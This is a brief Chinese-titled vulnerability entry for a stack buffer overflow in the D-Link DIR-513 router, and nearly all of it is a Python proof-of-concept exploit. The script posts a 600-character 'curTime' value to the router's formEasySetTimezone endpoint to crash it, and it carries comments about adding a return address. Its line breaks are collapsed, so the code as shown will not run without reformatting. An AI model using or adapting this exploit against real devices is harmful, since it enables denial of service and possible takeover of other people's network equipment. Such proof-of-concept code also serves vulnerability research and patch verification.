CVE-2026-4555 D-Link DIR-513 堆栈缓冲区溢出漏洞

import requests # Target URL configuration target_ip = "192.168.0.1" # Replace with actual target IP url = f"http://{target_ip}/goform/formEasySetTimezone" # Malicious payload to trigger stack-based buffer overflow # The length depends on the specific buffer size, usually a pattern is used for fuzzing # Example: 'A' * 500 + Ret Address payload = "A" * 600 data = { "curTime": payload } try: print(f"Sending exploit payload to {url}...") response = requests.post(url, data=data, timeout=5) print(f"Response Status Code: {response.status_code}") # Check if device is responsive or if behavior indicates a crash except requests.exceptions.RequestException as e: print(f"Request failed (Device might have crashed): {e}")